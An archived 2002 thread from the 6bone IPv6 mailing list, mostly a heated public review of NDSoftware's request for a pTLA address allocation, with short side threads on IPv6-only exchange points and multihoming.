Exchange.

---

I have an anoter question...

Ask to nicolas.deffayet@ndsoftware.net
with a CC to fink@es.net 

---



From tvo@EnterZone.Net Sun Oct 20 10:07:37 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
cc: "'6bone Mail List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sun, 20 Oct 2002, Gregg C Levine wrote:

> Hello from Gregg C Levine
> Excuse me. I meant to say, John Fraizer, as the name that I agreed with.
> My e-mail client, yes Outlook, goofed again. Everything else in that
> message is still a valid point. John, don't be insulted by my program's
> goofs.
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> (This company dedicates this E-Mail to Master Yoda )
> 


No problem Gregg.  Everyone hoses the spelling of my name at least
once. ;-)  BTW: What a fine example of attention to detail you just made.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From hansolofalcon@worldnet.att.net Sun Oct 20 10:11:20 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'John Fraizer'" <tvo@EnterZone.Net>
Cc: "6bone Mail List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
Date: Sun, 20 Oct 2002 13:11:28 -0400
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Hello again from Gregg C Levine
Right, thanks. But can I help it, if that guy over there thinks his
"company" is more real then mine, simply because some ISP decided to
register his domain name? I think his pTLA should be denied based on
that suggestion.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: John Fraizer [mailto:tvo@EnterZone.Net]
> Sent: Sunday, October 20, 2002 1:08 PM
> To: Gregg C Levine
> Cc: '6bone Mail List'
> Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23
October
> 2002
> 
> 
> 
> On Sun, 20 Oct 2002, Gregg C Levine wrote:
> 
> > Hello from Gregg C Levine
> > Excuse me. I meant to say, John Fraizer, as the name that I agreed
with.
> > My e-mail client, yes Outlook, goofed again. Everything else in that
> > message is still a valid point. John, don't be insulted by my
program's
> > goofs.
> > -------------------
> > Gregg C Levine hansolofalcon@worldnet.att.net
> > ------------------------------------------------------------
> > "The Force will be with you...Always." Obi-Wan Kenobi
> > "Use the Force, Luke."  Obi-Wan Kenobi
> > (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> > (This company dedicates this E-Mail to Master Yoda )
> >
> 
> 
> No problem Gregg.  Everyone hoses the spelling of my name at least
> once. ;-)  BTW: What a fine example of attention to detail you just
made.
> 
> 
> ---
> John Fraizer              | High-Security Datacenter Services |
> President                 | Dedicated circuits 64k - 155M OC3 |
> EnterZone, Inc            | Virtual, Dedicated, Colocation    |
> http://www.enterzone.net/ | Network Consulting Services       |
> 



From nicolas.deffayet@ndsoftware.net Sun Oct 20 10:35:57 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6BONE List <6bone@mailman.isi.edu>
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On Sun, 2002-10-20 at 16:24, John Fraizer wrote:

> OK.  I'm still wondering what NDSoftware does.  Don't get me wrong.  The
> ASPath Tree is slick, the ftp site is handy for some I'm sure, providing
> 6bone connectivity is definately a service but, there has to be something
> going on that actually generates income, otherwise, you're hemorrhaging
> money on colocation and IP transit charges.  Generally, when someone forms
> a company, as you state you have done, it is to generate income.  To do
> that, you have to offer services that people will purchase.  You _can't_
> sell 6bone access and thus-far, every "service" you claim to provide is
> 6bone-centric.

6bone is a research activity for NDSoftware, see my FAQ
(http://mailman.isi.edu/pipermail/6bone/2002-October/006462.html).

> I'm simply looking at the overall health of the 6bone here.  If you're
> issued a pTLA and start providing "services" to folks with that address
> space and suddenly, your "company" goes tits-up because you're not able to
> pay your colocation/transit fees (because your "company" isn't actually
> SELLING anything to generate revenue) then not only have you embarrassed
> yourself but, you will have inconvenienced who knows how many other 
> people.


We generate revenue, see my FAQ
(http://mailman.isi.edu/pipermail/6bone/2002-October/006462.html).
We have an operational bussiness.

> > All tech contact in NDSoftware's whois have a root access on each
> > routers. They understand v4/v6 routing, unix administration,... 
> > 
> 
> Wow.  You're a trusting soul there.  SUDU is your friend, Dude.  You might
> want to look at the man page for it.

Sudo is very limited.
We trust our technical staff.

> I'm simply looking for you to demonstrate that you or one of your
> employees can properly maintain appropriate records for address
> allocation.  Just because the 6bone is experimental does not relieve you,
> the administrator of a network, from the burdon of due diligence.  Suppose
> one of your downstreams started a SPAM campaign to v6 connected
> mailservers or started trying to hack into other v6 connected
> systems?  How long does it take you to track down the appropriate contact
> information for the source address?  Do you have appropriate records to
> provide to law enforcement agencies in the event that you are subpoenaed
> for this type of information?

We have a database with all informations about peering and IPv6
connectivity provided.

> > We have 3 /32, but 1 /32 is enough. We have 3 /32 for have a backup if
> > one of our upstream can't provide us anymore a BGP peering. 
> > 
> 
> Ya, like if they were to say "your peering session is going to die in a
> week because our routers are overloaded with BGP sessions.  We've decided
> to drop all of our BGP peers who are using reserved ASNs." -- Something
> like that?

Now, please forgot the problem of delete of peer with private ASN on our
routers.

It's not a world and public problem.

> > > I submit that without your own portable v4 address space for an endpoint
> > > of tunnels, you're at the mercy of your upstreams.  If they require you to
> > > renumber, every one of your peers will have to reconfigure their tunnels.
> > 
> > Yes, i know. 
> > 
> 
> So, when you went after your ASN, did you try to brow-beat some v4 space
> out of RIPE as well?

Yes, if we start in production NDSoftware Hosting project.

> > > (5) I find this strange.  Can you explain it?
> > > 
> > > Nice routing loop there.  Have you considered: (1) Not having a v6 default on your border
> > > router. (2) Having a connection between your two border routers and running an IGP between them?
> > 
> > Ops, fixed. 
> > 
> > I have forgot to add "ifconfig lo add 3ffe:81f1:2:1::1/64" in the init
> > scripts of parcr1.fr.ndsoftwarenet.net. 
> 
> Wow.  I can't imagine trying to explain that to one of my customers.  This
> is all about attention to detail Nicolas.  So, you get your own pTLA and
> people start actually listening to and propagating your announcements and
> you "forget" a little thing like applying an access-list or route-map to
> a peering session.  Guess what?  Your lack of attention to detail does
> more than embarrass you.  It can cause service effecting outages for a
> whole ton of OTHER people.


All humains do errors.
You have do too many errors...

> role:         IPv6-FR NOC
> address:      IPv6-FR
> address:      57 rue du president Wilson
> address:      92300 Levallois-Perret
> address:      France
> phone:        +33 671887502
> 
> role:         NDSoftware NOC
> address:      NDSoftware
> address:      57 rue du president Wilson
> address:      92300 Levallois-Perret
> address:      France
> phone:        +33 671887502
> 
> 
> I'm sorry Nicolas.  Providing address space to YOURSELF doesn't
> count!  Sheesh! 


NDSoftware and IPv6-FR are in the same building but aren't the same
legal organization.
I'm a network administrator for the both.

> > NexGentCollective (http://www.nextgencollective.net/)
> > tunnel broker:  150 users, each user have a /48. 
> 
> ipv6-site:    NEXTGENCOLLECTIVE
> origin:       AS65055
> descr:        NextGenCollective IPv6 Research Organization
> country:      US
> prefix:       3FFE:8271:A020::/44
> prefix:       3FFE:8271:A030::/44
> prefix:       3FFE:8271:B000::/40
> prefix:       3FFE:2C01:1000::/36
>
> Don't you think that a tunnel-broker housed in Wichita, KS, USA would be
> better served by a 6bone pTLA *IN* the USA?  Also, with your current
> peering policy change, isn't this site going to get NIXED?  I note their
> use of a Reserved ASN.

They don't find any help somewhere...

We don't only provide a block, we provide a small tech support, help in
tunnel and zebra configuration,....

> > > Part of properly maintaining _YOUR_ ipv6-site object is making sure that
> > > you don't reference an object that doesn't exist.  If someone is unable or
> > > unwilling to create & maintain an ipv6-site object, do you really feel
> > > that they are a good peering candidate?  I certainly don't.
> > 
> > They can be a good peering candidate !
> > 
> > A whois updated or not don't make the quality of a peering. 
> 
> 
> I SERIOUSLY BEG TO DIFFER!  If someone is too damned lazy to create and
> maintain an ipv6-site object, how on earth can you expect them to maintain
> appropriate BGP filters, allocation records, etc, etc, etc?  Man, it is
> _OBVIOUS_ that this is a *toy* to you.
> 
> By virtue of your ipv6-site object referencing tunnel endpoints that have
> no corresponding ipv6-site object, it is NOT accurate and you (and your
> sites with nonexistant or invalid ipv6-site objects) are in violation of
> RFC2772:
> 
> 5. The 6Bone Registry
> 
>    The 6Bone registry is a RIPE-181 database with IPv6 extensions used
>    to store information about the 6Bone, and its sites. The 6bone is
>    accessible at:
> 
>          <http://www.6bone.net/whois.html>)
> 
>    Each 6Bone site MUST maintain the relevant entries in the 6Bone
>    registry. In particular, the following object MUST be present for all
>    6Bone leaf sites, pNLAs and pTLAs:
> 
>    -  IPv6-site: site description
> 
>    -  Inet6num: prefix delegation (one record MUST exist for each
>       delegation)
> 
>    -  Mntner: contact info for site maintance/administration staff.
> 
>    Other object MAY be maintained at the discretion of the sites such as
>    routing policy descriptors, person, or role objects.  The Mntner
>    object MUST make reference to a role or person object, but those MAY
>    NOT necessarily reside in the 6Bone registry. They can be stored
>    within any of the Internet registry databases (ARIN, APNIC, RIPE-NCC,
>    etc.)
> 
> 6. Guidelines for new sites joining the 6Bone
> 
>    New sites joining the 6Bone should seek to connect to a transit pNLA
>    or a pTLA within their region, and preferably as close as possible to
>    their existing IPv4 physical and routing path for Internet service.
>    The 6Bone web site at <http://www.6bone.net> has various information
>    and tools to help find candidate 6bone networks.
> 
>    Any site connected to the 6Bone MUST maintain a DNS server for
>    forward name lookups and reverse address lookups.  The joining site
>    MUST maintain the 6Bone objects relative to its site, as describe in
>    section 5.
> 
>    The upstream provider MUST delegate the reverse address translation
>    zone in DNS to the joining site, or have an agreement in place to
>    perform primary DNS for that downstream. The provider MUST also
>    create the 6Bone registry inet6num object reflecting the delegated
>    address space.
> 
> 
> 
> 
> 
> 
> Now, from section 7 of RFC2772, a bit more for you to ponder:
> 
>       During the entire qualifying period the Applicant must be
>       operational providing the following:
> 
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
> 
> <snip>
> 
> 
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
> 
> 
> 
> Now, since you obviously don't care if your peers maintain their ipv6-site
> objects or even HAVE them for that matter, how is it that you are abiding
> by RFC2772, Section 5?
> 

Check all others pTLA request, you have the same problem.

You can't force a peer to register a whois entry...

Our whois is always updated.



From jeroen@unfix.org Sun Oct 20 11:18:51 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] FAQ about pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET wrote:

> Here a FAQ, no more reply on this list about "pTLA request 
> NDSOFTWARE -
> review closes 23 October 2002".
> 
> NDSoftware pTLA request is fully compliant with RFC2772.
> http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> 
> Don't try to find a bug, there is no bugs.
> If you are jealous, search another victim.

As I said before, I *CANNOT* be jealous at you.
Actually I am pitying you a bit.
You are not a victim, you are now a perfect example
why not everybody should be able to get a TLA.

6bone Community is a PUBLIC place. Not private.
A pTLA request is a PUBLIC thing. Not private.
Thats why I will reply to your "FAQ" in private.
I also wonder why this FAQ isn't on your "noc" website.

> What's NDSoftware ?

Aha software company, just like any other person having a webdesign
company.
And nobody sees them requesting a huge amount of IP space.
Also these 'services' are they going to run from your pTLA -> nopes
because then they would be commercial.
 
> ---
> 
> Is Nicolas DEFFAYET is a kid without brain who destroy 6bone ?
> 
> I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
> play with my FisherPrice routers and i destroy all 6bone.

Thank you for answering this question, many people where wondering about
this.
I hope you take 6bone and your 'company' as serious as this.


> Does NDSoftware is the source of "ghost AS_pathes" ?
> 
> No, read archive of the 6bone mailing-list, you will find all details
> about this problem.

Please quote the solution of the ghost paths, URL's will do to.
If you know the answer please present it as many people are looking for
it.


> What's NDSoftware "potential user community" ?
> 
> - NDSoftware (my company)
And your company needs a /40, nice 'numberplan'.
How many employees does your company have to justify this?

<SNIP>
> We do many actions in IPv6 research, we created FNIX6 (French 
> International Internet Exchange IPv6, http://www.fnix6.net/), we host
> many mirrors available in IPv6, we created ftp://ftp.openipv6.com/ (a
> FTP with a lot of IPv6 stuff). 

Those "ISPs" should request their own TLA.
Your "mirrors" can run out of ONE /48 too.

> A lot of peers filter our /32 because it's not a pTLA. 

That's the general rule of the internet.

> We want a pTLA for can announce without any problems our 
> network, don't
> break the IPv6 aggregation and be independant of a upstream (we don't
> want be down because our upstream is down).

You might ask your IPv4 uplink to get some IPv6 space for you and use
that.
As you have no own infrastructure you are still depending on your
upstream
even if you do get a TLA.

> In http://www.6bone.net/6bone_pTLA_list.html, a lot of pTLA 
> aren't used
> or are used only for a /48 and/or have only one upstream.
> 
> An exemple: MOTOROLA-LABS, have only one upstream. Do you think that
> they need a pTLA ? If their upstream is down, this pTLA is not anymore
> announced. MOTOROLA-LABS don't provide IPs and a /48 is 
> enough for their
> activity...

What has that to do with anything?
Do you work at MOTOROLA-LABS that you know their internal structure ?

> NDSoftware provide IPs to another ISP/company/project and have many
> upstream...

You got TUNNELS, no native upstreams.

> Why NDSoftware will close peering with private ASN ?
> 
> We have 101 BGP4+ peers, our current routers are full (zebra is very
> unstable if we add new peer) and we want get new peer with other
> pTLA/sTLA that we can't get with our old private ASN.
> 
> We have choose to delete all peers with private ASN for free 
> BGP session
> on our routers for this new peers.
> 
> We don't delete peers with private ASN because "private ASN sucks", we
> keep peering with important private ASN like NextGenCollective or
> IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
> understand their status, it's why i keep peering with them.
> 
> We will try to find a solution before the 23th October for keep peer
> with all private ASN.


> FNIX6 (French National Internet Exchange IPv6) is an IPv6 Internet
> Exchange.

National, International? Checking the website it doesn't exist.
And I hope that your personal IX is not experimental.
If it isn't you can't use a pTLA for it.

> I have an anoter question...
> 
> Ask to nicolas.deffayet@ndsoftware.net
> with a CC to fink@es.net 

See at the top, 6bone is PUBLIC, Internet is PUBLIC.

Also, reread RFC2772.

Greets,
 Jeroen


From bortzmeyer@nic.fr Sun Oct 20 12:24:39 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
Message-ID: <20021020192435.GC15861@nic.fr>
References: <1035056975.634.2109.camel@wks1.fr.corp.ndsoftware.com> <200210192010.g9JKAfgj024322@ludwigV.sources.org> <20021019214631.GE18889@login.ecs.soton.ac.uk>
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On Sat, Oct 19, 2002 at 10:46:31PM +0100,
 Tim Chown <tjc@ecs.soton.ac.uk> wrote 
 a message of 15 lines which said:

> > <pedantic>You can always go through an existing LIR. Gitoyen could certainly do it, even if I find the idea of an IPv6-only IXP absolutely wrong.</pedantic>
...
> I'm curious as to why you think this?

Because of two reasons, one temporary and the other more permanent.

1) There is very few actual IPv6 traffic <troll>and it is mostly
ICMP</troll>. Setting up an IXP and making people pay to connect
(unless it is located in a well-populated data center), just for this
small amount of traffic, seems a financial mistake.

2) Most IXP work at level 2. They are a (several) switch(es) and a set of IP
addresses. Since IPv4 and IPv6 can happily coexist on the same network
(like we all do on our links), I see no reason to set up two different IXP.

> Is the UK6X heading down the wrong path?

I believe so, but I will ask the same question: why do you set up an
IPv6-only <nicolas>a real IPv6 IXP</nicolas> exchange point?


From pim@ipng.nl Sun Oct 20 12:41:16 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU,
   "'Bob Fink'" <fink@es.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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| > You are trying and wanting to do constructive things for IPv6.
| > But you really really have to realize that NOT everybody can have a
| > pTLA.
| 
| Why IPNG.NL have a pTLA and a sTLA ?
This is quite amazing. You are mistaken, IPng is not even an ISP. It's a
personal hobby project of mine that is running at Intouch.

| Please justify this.
IPng does not have a pTLA.

The operating ISP, called Intouch (NV) in The Netherlands (AS8954),
requested a pTLA several years ago. IPng is a project that is running
within Intouch which requires IPv6 connectivity and they get this
statically routed from biscuit.intouch.net (connected to the AMS-IX
shared medium with 10baseT).



IPng does not have an sTLA.

The operating ISP, Intouch NV, after some 9 months of operational
experience with the pTLA, thought themselves ready to offer commercial
services with IPv6. They then requested (and were allocated) the second
IPv6 allocation for .nl (the first being our NREN).

Note that there is a large difference in the way Intouch handled things
at the time, and the way you are proceding today.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Sun Oct 20 13:15:58 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
Message-ID: <20021020201445.GB17735@bfib.colo.bit.nl>
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On Wed, Oct 16, 2002 at 06:25:47AM -0700, Bob Fink wrote:
| 6bone Folk,
Dear Bob,

| NDSOFTWARE has requested a pTLA allocation and I find their request fully 
| compliant with RFC2772. The open review period for this will close 23 
| October 2002. Please send your comments to me or the list.

In short: I oppose to this request also. Please read on.

It's Sun Oct 20 when I'm writing this mail. I have read some 60 mails,
most of which stick to the topic of DEFFAYETs request. Reading through
them, I find it refreshing to see that many of the regular posters of
this mailinglist seem to agree that it is not yet time to allocate a
pTLA to NDSoftware or Nicolas.

Last month, I saw a small thread on the lir-wg@ripe.net mailinglist,
where Nicolas complained in this public forum about the fact that the
NCC did not grant him an AS number request. NCC rectified their prior
decision and allocated an AS number to NDSoftware. I still had my doubts.

An autonomous system, in my book, is a set of routers which have the
same routing policies implemented. Somehow, the routers in NDSoftware
are not interconnected with private circuits (sdh/atm/ethernet). This
means the IPv4 cloud at NDSoftware consists of one or more IPv4
cloudlets (consisting of one machine each).

I myself did check out the websites (fnix6 and ndsoftware) and did see
mutitudes of 404's. I thought them to be typical of Nicolas' methodology.
Connecting them together with IPv6 tunnels does not seem like a big
deal. The current customer base is predominantly non-french/parisian. 

MEDs are multiple exit discriminators, used to steer traffic into some
specific router if you have multiple BGP sessions between your AS and
theirs.

IPng does not have a pTLA nor an sTLA. They are simply a project running
at the commercial ISP Intouch NV (AS8954) and they have a statically
(and natively) routed /32 out of the Intouch pTLA. It is irrelevant and
does not have to be dragged into the discussion just because Jeroen
helps administer that project.

I would like to personally thank John F (razier, look I spelled it
correctly :) for his long list of terribly useful questions (posted in
his mail with id g9K8gLo08725). I find DEFFAYETs replies to this mail
defensive and evasive to say the least.

I am not supportive of this request and protest against it because ever
since I've seen Nicolas join 'the scene', I have seen him push his work
forward using unorthodox methods. The most important one, is insisting
on using AS65526 because -- as he said so himself -- RIPE refused to
give him his own AS to run out of. During this phase, DEFFAYET kept on
introducing more instabilities into the 'Net, as also made public at
RIPE42 by Gert Doering. 

The reflection of the current setup at NDSoftware in the whois database
is crappy. It seems like DEFFAYET was collecting /32s from other pTLA
holders. We (the 6bone community) have requested him to clean up his act
on numerous occasions and he simply refused. 

DEFFAYET has his own set of rules that he wishes to play by. I don't
think (and urge you to note this), that the last point of rfc2772 states
that the pTLA requestor will obide by the best common practice and
cooperate with other 6BONE members. I don't believe that this was the
case in the past, nor that it will be the case in the future.

Please reconsider the pTLA allocation to NDSoftware.
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From daniel@kewlio.net Sun Oct 20 15:07:38 2002
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References: <CMEHIEKGAOGDMDKNLLILAEKECAAA.solaris@swissirc.ch>
Subject: Re: [6bone] How i get IP V6 Addresses ?
Date: Sun, 20 Oct 2002 23:07:43 +0100
Organization: kewlio.net Limited
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Hi Marcel,

One of our peers, Dolphins (Switzerland) may be able to provide you with a
block of IP's

http://www.ipv6.as8758.net


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Marcel Stutz" <solaris@swissirc.ch>
To: <6bone@mailman.isi.edu>
Sent: Saturday, October 19, 2002 11:51 PM
Subject: [6bone] How i get IP V6 Addresses ?


> What is the best way to get own IP V6 Addresses for a smale IRC Network in
> switzerland ?
>
> What i need to pay ?
>
> Thanks Marcel
>
>
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From fink@es.net Sun Oct 20 15:58:48 2002
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Date: Sun, 20 Oct 2002 15:58:30 -0700
To: Pim van Pelt <pim@ipng.nl>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
Cc: 6BONE List <6bone@mailman.isi.edu>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Pim,

Thanks for your comments. They (and others) will be taken into account 
before any pTLA is allocated.

I specifically try to stay quiet during the review phase to let folks make 
their cases. Comments and reasoned arguments, on both sides, do make a 
difference in the outcome. It is a collective process.


Thanks,

Bob

===
At 10:14 PM 10/20/2002 +0200, Pim van Pelt wrote:
>On Wed, Oct 16, 2002 at 06:25:47AM -0700, Bob Fink wrote:
>| 6bone Folk,
>Dear Bob,
>
>| NDSOFTWARE has requested a pTLA allocation and I find their request fully
>| compliant with RFC2772. The open review period for this will close 23
>| October 2002. Please send your comments to me or the list.
>
>In short: I oppose to this request also. Please read on.
>
>It's Sun Oct 20 when I'm writing this mail. I have read some 60 mails,
>most of which stick to the topic of DEFFAYETs request. Reading through
>them, I find it refreshing to see that many of the regular posters of
>this mailinglist seem to agree that it is not yet time to allocate a
>pTLA to NDSoftware or Nicolas.
>
>Last month, I saw a small thread on the lir-wg@ripe.net mailinglist,
>where Nicolas complained in this public forum about the fact that the
>NCC did not grant him an AS number request. NCC rectified their prior
>decision and allocated an AS number to NDSoftware. I still had my doubts.
>
>An autonomous system, in my book, is a set of routers which have the
>same routing policies implemented. Somehow, the routers in NDSoftware
>are not interconnected with private circuits (sdh/atm/ethernet). This
>means the IPv4 cloud at NDSoftware consists of one or more IPv4
>cloudlets (consisting of one machine each).
>
>I myself did check out the websites (fnix6 and ndsoftware) and did see
>mutitudes of 404's. I thought them to be typical of Nicolas' methodology.
>Connecting them together with IPv6 tunnels does not seem like a big
>deal. The current customer base is predominantly non-french/parisian.
>
>MEDs are multiple exit discriminators, used to steer traffic into some
>specific router if you have multiple BGP sessions between your AS and
>theirs.
>
>IPng does not have a pTLA nor an sTLA. They are simply a project running
>at the commercial ISP Intouch NV (AS8954) and they have a statically
>(and natively) routed /32 out of the Intouch pTLA. It is irrelevant and
>does not have to be dragged into the discussion just because Jeroen
>helps administer that project.
>
>I would like to personally thank John F (razier, look I spelled it
>correctly :) for his long list of terribly useful questions (posted in
>his mail with id g9K8gLo08725). I find DEFFAYETs replies to this mail
>defensive and evasive to say the least.
>
>I am not supportive of this request and protest against it because ever
>since I've seen Nicolas join 'the scene', I have seen him push his work
>forward using unorthodox methods. The most important one, is insisting
>on using AS65526 because -- as he said so himself -- RIPE refused to
>give him his own AS to run out of. During this phase, DEFFAYET kept on
>introducing more instabilities into the 'Net, as also made public at
>RIPE42 by Gert Doering.
>
>The reflection of the current setup at NDSoftware in the whois database
>is crappy. It seems like DEFFAYET was collecting /32s from other pTLA
>holders. We (the 6bone community) have requested him to clean up his act
>on numerous occasions and he simply refused.
>
>DEFFAYET has his own set of rules that he wishes to play by. I don't
>think (and urge you to note this), that the last point of rfc2772 states
>that the pTLA requestor will obide by the best common practice and
>cooperate with other 6BONE members. I don't believe that this was the
>case in the past, nor that it will be the case in the future.
>
>Please reconsider the pTLA allocation to NDSoftware.
>--
>---------- - -    - - -+- - -    - - ----------
>Pim van Pelt                 Email: pim@ipng.nl
>http://www.ipng.nl/             IPv6 Deployment
>-----------------------------------------------


From michel@arneill-py.sacramento.ca.us Sun Oct 20 16:02:11 2002
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Subject: [6bone] multiple address handling 
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Tim Chown wrote:
> The danger is that all companies will want this independence
> and for the same reason demand a pTLA/SubTLA.  It's certainly
> true for our university, which has a /48.  Given we offer
> IPv6 remote access, should we be allowed a /32 to offer static
> /48 "site" IPv6 prefixes to any university member wanting
> connectivity?

I all depends if you consider these customers or not. Some do, some
don't, some have or will request a pTLA or become LIRs by setting up a
company that functions as an ISP.

> Of course part of the problem is the lack of progress of the
> multi6 WG, albeit a non-trivial problem to be working on :)

This is purely a political issue. If the IETF wanted multi6 to produce a
solution, multi6 would have produced one by now. Multi6 simply is in the
same batch as ngtrans, the 6bone and other stuff that has been closed,
is being closed or is slated to be closed soon.

> The "classic" IPv6 solution for our university is to take two
> /48's from different providers, and for all clients to have
> two global addresses, but the client-side support for handling
> the multiple addressing is yet to be resolved.

There are multiple issues associated with doing this. It is acceptable
for a home/soho setup, but there are not too many people that are
willing to run a large setup with this, especially in the total absence
of standards.

Michel.


From bmanning@ISI.EDU Sun Oct 20 17:13:50 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
In-Reply-To: <20021020192435.GC15861@nic.fr> from Stephane Bortzmeyer at "Oct 20, 2 09:24:35 pm"
To: bortzmeyer@gitoyen.net (Stephane Bortzmeyer)
Date: Sun, 20 Oct 2002 17:13:47 -0700 (PDT)
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% 2) Most IXP work at level 2. They are a (several) switch(es) and a set of IP
% addresses. Since IPv4 and IPv6 can happily coexist on the same network
% (like we all do on our links), I see no reason to set up two different IXP.
% 
% > Is the UK6X heading down the wrong path?
% 
% I believe so, but I will ask the same question: 

	it is true that for L2 fabric, it can be hard to prevent IPv6 or IPv4
	from using the fabric.  There are reasons to try and split them however.
	This is not the right thread to take on that topic though.
	If this is of interest, send a note and I'll forward on the rational.

-- 
--bill

From tvo@EnterZone.Net Sun Oct 20 19:14:24 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] FAQ about pTLA request NDSOFTWARE - review closes 23
 October 2002
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On 20 Oct 2002, Nicolas DEFFAYET wrote:

> Here a FAQ, no more reply on this list about "pTLA request NDSOFTWARE -
> review closes 23 October 2002".
> 
> NDSoftware pTLA request is fully compliant with RFC2772.
> http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> 
> Don't try to find a bug, there is no bugs.
> If you are jealous, search another victim.
> 

Sorry Nicolas.  It doesn't work that way.  You don't get to say "Don't
discuss my application any more." 

I don't know about "bugs" in your application but, there are several
compliance issues, which I have already pointed out in previous emails.

As for being jealous, you have got to be smoking crack if you think that
I'm jealous.  We are _NOT_ trying to make you a victim but rather prevent
the participants in the DFZ from becoming a victim of yours.


> 
> Please respect the Bob Fink's email:
> 
> ----------------------------------------------------------------------->
> 
> 6bone Folk,
> 
> Please keep the discussion from getting personal, or becoming defamatory
> or 
> using swear words.
> 
> Many folks watch how we carry out our 6bone business; it is important
> that 
> we remain open, objective and willing to hear all sides.
> 
> 
> Thanks,
> 
> Bob
> 


Nicolas,  Bob is a big boy.  I'm sure that if he feels that someone is not
respecting his wishes and following the guidance he provides to the list,
he will deal with it himself.  He does not need for you to play "Master at
Arms" from France.


> We develop an ISP activity for offer to our customers a complete
> solution (if a customer order the creation of a software for its
> customers management, we want offer additional services like the
> creation of the website linked with the software of customers
> management, the hosting of this website,...)

Nicolas, this flies in the face of what you posted previously.

In a previous email, listed at
http://mailman.isi.edu/pipermail/6bone/2002-October/006348.html you write:


"=> How get an ASN for our new IPv6 network ?
(we don't want do IPv4 network)"

Which one is it Nicolas?  Do you want to offer a complete solution, or do
you want to do v6 only with no v4?


> ---
> 
> Why NDSoftware don't have a website ?
> 
> For the moment, we don't need a website for find new customers and do
> our business. Do marketing stuff is not a priority for us, because we
> get new customers with our actual customers.

OK.  If you insist that you actually have customers, you have
customers.  Since you use word-of-mouth as your sole marketing technique,
I'm sure that you have at least ONE customer who has given you permission
to use them as a reference.  Who would they be?

> The NDSoftware website is under developpement since many mounths. Our
> website will be not a vulgar website with 20 static pages about our
> activites. We will manage our client with it, automatize all
> administrative tasks (invoice for exemple),... Our aim is develop more
> services without more staff.

OK.  So this is a matter of the cobblers children going barefoot
huh?  Your "company," as one of it's commercial, revenue generating
activities, to quote you, "creation of the website."  Your customers
simply take your word for you that you can complete a project though and
none of them express any concern or pay any attention to the fact that
"since many months" your own ?corporate? website is defunct.

I was born at night Nicolas but, it wasn't LAST NIGHT.


> ---
> 
> Does NDSoftware plan do commercial activities on 6bone ?
> 
> No, of course !
> 
> All our IPv6 services are free in production quality but without any
> guarantee.
> We will do commercial activities only with a sTLA from the RIPE.


OK.  And how do you suppose that you're going to qualify for an sTLA?

> 
> Is Nicolas DEFFAYET is a kid without brain who destroy 6bone ?
> 
> I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
